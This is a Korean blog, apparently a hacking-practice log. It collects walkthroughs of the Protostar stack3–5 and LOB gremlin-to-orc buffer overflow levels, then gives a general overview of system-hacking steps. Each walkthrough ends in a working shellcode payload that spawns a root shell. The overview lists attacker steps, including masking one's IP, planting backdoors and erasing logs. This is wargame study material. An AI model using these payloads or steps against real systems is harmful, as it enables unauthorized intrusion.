1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. int main(int argc, char **argv)  
  7. {  
  8.   char buffer[64];  
  9.   
  10.   gets(buffer);  
  11. }  



쉘따라는 소리인것 같다.


보다 쉽게 풀기위해 쉘코드를 사용할 것이고 컴파일 옵션으로 -zexecstack을 줄 것이다.


80byte에서 eip가 완전히 덮히니 76byte를 덮은 후에 eip주소가 온다.



payload


$(python -c 'print "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*33 + "\x6c\xd6\xff\xff"';cat) | ./stack5


'pwnable > exploit-exercise' 카테고리의 다른 글

stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09
  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   char buffer[64];  
  14.   
  15.   gets(buffer);  
  16. }  


80byte를 덮으니 eip가 바뀐다 흠 더미가 아마 12byte 정도 붙은것 같은데 뭐 상관없지


payload

(python -c 'print "A"*76 + "\x4d\x84\x04\x08"';cat;) | ./stack4

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

친구에게 알려주면서 오랫만에 포스팅 한다.


  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   volatile int (*fp)();  
  14.   char buffer[64];  
  15.   
  16.   fp = 0;  
  17.   
  18.   gets(buffer);  
  19.   
  20.   if(fp) {  
  21.       printf("calling function pointer, jumping to 0x%08x\n", fp);  
  22.       fp();  
  23.   }  
  24. }  


eip를 찾아 win 함수의 주소로 덮어 씌우면 될것 같다.


역시 쉬운문제를 풀면 뭔가 힐링이 되는것 같다.



payload

(python -c 'print "A"*64 + "\x7d\x84\x04\x08"';cat;) | ./stack3

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

  1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3.   
  4. extern char **environ;  
  5.   
  6. main(int argc, char *argv[])  
  7. {  
  8.         char buffer[40];  
  9.         int i;  
  10.   
  11.         if(argc < 2){  
  12.                 printf("argv error\n");  
  13.                 exit(0);  
  14.         }  
  15.   
  16.         // egghunter  
  17.         for(i=0; environ[i]; i++)  
  18.                 memset(environ[i], 0, strlen(environ[i]));  
  19.   
  20.         if(argv[1][47] != '\xbf')  
  21.         {  
  22.                 printf("stack is still your friend.\n");  
  23.                 exit(0);  
  24.         }  
  25.   
  26.         strcpy(buffer, argv[1]);  
  27.         printf("%s\n", buffer);  
  28. }  


역시 취약점이 발생하는 부분은 strcpy(buffer, argv[1]); 이부분이다.


소스코드를 보면 알겠지만 환경변수를 이용한 방법은 통하지 않는다.


따라서 argv[2]에 nop과 쉘코드를 박아 리턴주소에 덮어 씌우면 될것 같다.



strcpy함수를 보아 edx에 argv[1]의 값이 저장되어 있을 것이다.


조건에 맞추어 "\xbf"로 buffer를 덮어주고 argv[2]의 값을 확인해보자.



예상대로 argv[1]의 주소이다.


\x90이 시작되는 부분이 argv[2]의 시작주소이고 ret 주소는 넉넉하게 0xbffffc9b로 주도록 하자.


./ord `python -c 'print "A"*44 + "\x74\xfc\xff\xbf"'``python -c 'print "\x90*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\e1\x89\xc2\xb0\x0b\xcd\x80"'`


'pwnable > LOB' 카테고리의 다른 글

LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main()  
  2. {  
  3.     char buffer[16];  
  4.     gets(buffer);  
  5.     printf("%s\n",buffer);  
  6. }  


대놓고 취약점을 준다.



buffer(16) + sfp(4) + ret(4)  나머지는 D로 채웠다.


0x43434343으로 덮인 곳이 ret의 주소이고 이 주소를 덮으면 될 것 같다.


덮을 주소는 적당하게 0xbffffb74를 주도록하자. 


payload

$(python -c 'print "\x90"*20 + "\x74\xfb\xff\xbf" + "\x90"*200 + shellcode';cat) | ./goblin



hackers proof


'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[16];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


1번문제와 다른점은 buffer의 사이즈가 작다는 것이다.


두가지 방법으로 풀 수 있는데


첫번째 방법은 argv[2]는 입력 제한이 없으므로 argv[2]의 주소를 ret의 주소로 덮어씌우는 방법이다.

두번째 방법은 환경변수를 이용한 방법인데


첫번째 방법이 간단해보이므로 첫번째 방법을 이용하도록 하겠다.




argv[ ]의 인자는 프로그램 시작과 동시에 전달되므로 


main+3에 브레이크 포인트를 걸고 살펴보자.



r`python -c 'print "\x90"*20 + "BBBB"'``python -c 'print "A"*240'` 


예쁘게 덮이지는 않았지만 그래도 덮인 모습이 눈에 보인다.


buffer(16) + sfp(4)  + ret 이므로


\x42424242 로 덮인 부분이 eip 주소이며 이 부분을 덮어주면 될 것이다


리턴주소는 적당하게 \xc8\xfb\xff\xbf 로 잡아주자.


payload

./cobolt `python -c 'print "\x90"*20 + "\xc8\xfb\xff\xbf"'``python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



hacking exposed



'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[256];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


gremlin.c가 보여주는 소스코드이다.


strcpy( buffer, argv[1]) ; 에서 오버플로우 취약점이 발생한다.


사용할 쉘코드는 41byte이며 다음과 같다.

"\x31\xc0\xb0\x31\xcd \x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd \x80"



264byte를 덮어주니 eip가 바뀌면서 Segmentation fault를 내뿜는 모습을 확인할 수 있다.


LOB는 랜덤스택이 적용되지 않는다는 점을 감안하여


buffer(256) + sfp(4) = 260byte 뒤가 바로 ret(eip) 주소일 것이다.



제대로 덮인 것을 확인할 수 있다.


이제 저 스택을 NOP(\x90) 과 쉘코드를 채운 후 리턴주소를 조작하여 쉘을 획득해보자.


"\x90" * 200 + shellcode(41) + "\x90" * 19 + ret주소(적당히 \xe0\xfb\xff\xbf)



hello bof world





'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07

시스템 해킹이란?


시스템 해킹이란 대상 시스템에 직접 침입하여 행해지는 해킹으로 네트워크 해킹과 함께 이어지는 것이 일반적이다. 시스템 해킹은 컴퓨터 시스템의 관리자 권한을 획득하여 시스템을 제어하고 해심 정보를 빼오는 시스템 탈취와 정보를 삭제하고 하드웨어를 파괴하는 행위인 시스템 파괴를 포함하는 해킹 유형이다.


시스템 해킹에서 가장 중요한 것은 root(관리자) 권한을 획득하는 것이다.

이는 루트 계정의 패스워드를 알아내거나 무력화 시키는 것이 핵심이다.


시스템 해킹에서 자주 사용되는 해킹 기법에는 다음과 같은 것들이 있다.


- Buffer Overflow (버퍼 오버플로우)

- Race Condition (레이스 컨디션)

- Command Injection (커맨드 인젝션)

- Format String (포맷 스트링)

- Back Door (백도어)


이런 기법들을 활용하여 공격자들이 해킹하는 일반적인 절차는 다음과 같다.


1. 터미널 분비


해킹 대상 시스템에 원격으로 접속할 수 있는 터미널을 준비한다.

해킹 대상이 Window인 경우 Cygwin을 많이 사용하며 Unix, Linux 계열의 경우 PuTTY, Xshell을 많이 사용한다.


2. 안전성 확보


공격자 본인의 컴퓨터를 안전하게 만든다. 자신의 컴퓨터나 네트워크 도 공격당할 수 있고 전원지를 추적당할 수 있으므로 이에 대한 대비책을 마련한다. 대표적인 예로 Proxy 우회를 통한 ip 주소 변조 등이 있다.


3. 해킹 대상 테스트


해킹 대상 시스템을 면밀하게 테스트 한다. 

예를들어 ping으로 대상 시스템이 어떻게 응답하는지 알아보는 것도 하나의 방법이다.


4. 해킹 대상 OS 확인


해킹 대상 시스템의 OS가 어떤 것인지 확인한다.

ping 명령어를 통해 TTL 값을 받아올 수 있다면 확인 가능하지만 그렇지 않을 경우

Nmap 등의 툴을 이용하여 시스템의 포트를 스캔한다.


Nmap은 시스템이 오픈하고 있는 포트를 보여주며 사용자가 사용하고 있는 방화벽과 라우터 종류에 대해서도 알려주며 시스템의 OS또한 알려준다. 이러한 정보를 바탕으로 대상 시스템을 어떻게 해킹할 것인지 계획을 세운다.


5. 침입 경로 탐색


시스템에 침입하기 위한 경로를 탐색한다. 

21번포트(FTP) 나 80번 포트(HTTP)는 대체로 보안이 잘 되어 있는 편이다.

따라서 telnet(23번 혹은 사용자 설정) 이나 다른 TCP, UDP 포트로 접근을 시도한다.

SSH 서비스가 동작중이면 22번 포트가 열려 있으므로 이를 통해 접근을 시도한다.


6. 루트 권한 획득


시스템을 완전히 장악하기 위해서는 관리자 권한 혹은 루트(root)권한이 필요하다.

Windows의 경우 administrator이며 Linux 또는 BSD 계열인 경우 root이다.

네트워크 장치인 라우터는 보통 admin으로 되어 있다.


공격자들이 루트 권한을 획득하기 위해 자주 사용하는 기법은 Buffer Overflow이다. 그들이 심어 놓은 특정 코드를 실행하게 함으로써 root 권한을 획득할 수 있다.


루트 권한을 획득하기 위해 대상 시스템의 보안 취약점이 있는 

프로그램 혹은 바이너리를 찾아 공략하는 것이 일방적인 방법이다. 

이후 백도어를 만든 뒤 로그를 지워 흔적을 없앤다.


[ 웹 서버 공격 ]


일반인이 가장 자주 접하는 시스템이 있다면 바로 웹 서버일 것이다.

우리가 인터넷을 한다는 것은 웹 브라우저로 원격에 있는 웹 서버에 원하는 서비스를 요청하고웹 서버가 적절한 처리 후 웹 브라우저로 응답하여 그 결과를 보는 반복적인 행위이다. 

또한 웹 서버에 연결된 데이터베이스 서버에는 개인정보들이 저장되어 있기도 하다. 


웹서버 해킹 유형에는 다음과 같은 것들이 있다.


디렉터리 이동 공격 

공개 도메인에 나타나지 않은 비인가 파일이나 폴더에 접근하여 

중요 정보를 탈취하는 방법. 따따 슬래쉬( . . / ) 공격이라고도 함


서비스 거부 공격( DOS )

웹 서버를 폭주시켜 다른 사람들이 웹 서버가 제공하는 서비스를 이용하지 못하게 하는 방법


스니핑( Snipping )

네트워크 상에서 암호화 되지 않은 정보를 가로챈 후

이 정보를 활용하여 접근 권한이 없는 웹 서버에 접근하는 방법이다.


피싱( Pishing )

불특정 다수에게 이메일을 발송하여 위장된 웹 사이트로 접속하도록 한 후 각종 개인정보를 탈취한다.


파밍 ( Pharming )

DNS를 탈취하거나 DNS, 프록시 서버 주소를 변조하여 특정 사이트로 접속하는 사용자들을

진짜 사이트로 오인할 수 있는 가짜 사이트로 유인한 후 각종 개인정보들을 탈취하는 방법이다.

'pwnable' 카테고리의 다른 글

2013 plaied CTF ropasaurusrex writeup  (0) 2016.09.22

+ Recent posts